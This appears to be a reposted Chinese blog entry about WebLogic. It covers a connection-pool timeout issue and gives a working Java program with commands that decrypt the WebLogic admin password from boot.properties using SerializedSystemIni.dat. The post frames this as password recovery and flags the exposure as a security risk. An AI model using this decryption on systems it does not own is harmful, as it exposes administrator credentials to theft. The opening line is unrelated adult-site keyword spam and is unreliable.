日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

weblogic数据源配置的问题,weblogic密码破解

發布時間:2023/12/13 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 weblogic数据源配置的问题,weblogic密码破解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

weblogic 報錯 please increase XXX,得知是連接池出了問題,查看weblogic配置,發現沒有設置超時

查看oracle 當前session,可以看到連接的機器,用戶,當前執行的sqlid

select * from v$session;

select v$sql where sql_id='xxx'

?

破解weblogic管理密碼 1.創建一個單獨的目錄,例如c:\DecryptionDemo 2.創建一個Java文件Decrypt.java

import java.io.PrintStream; import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; public class Decrypt{static EncryptionService es = null;static ClearOrEncryptedService ces = null;public static void main(String args[]){String s = null;if(args.length == 0)s = ServerAuthenticate.promptValue("Password:", false);elseif(args.length == 1)s = args[0];elseSystem.err.println("Usage: java Decrypt [ password ]");es = SerializedSystemIni.getExistingEncryptionService();if(es == null){System.err.println("Unable to initialize encryption service");return;}ces = new ClearOrEncryptedService(es);if(s != null)System.out.println("nDecrypted Password is:" + ces.decrypt(s));} }

?

3.運行相關命令解密位于 d: beauser_projectsdomains1034serversAdminServersecurityboot.properties 文件中的字符串 call D:beawlserver_10.3serverbinsetWLSEnv.cmd copy D:beauser_projectsdomains1034securitySerializedSystemIni.dat javac Decrypt.java java -cp .;%CLASSPATH% Decrypt {AES}QxP9vMIXw7g39iRfGNIZ76TOoHq= pause 此時可以看到密碼原文為weblogic1,

安全隱患: 如果任何人知道您的domain的名稱,那么他就可以創建一個相同名稱的domain,來獲得文件 SerializedSystemIni.dat 和boot.properties,然后就可以破解到原始的密碼明文, 也許這是一個安全漏洞

?

?

轉載于:https://www.cnblogs.com/danyubin/p/3439459.html

總結

以上是生活随笔為你收集整理的weblogic数据源配置的问题,weblogic密码破解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。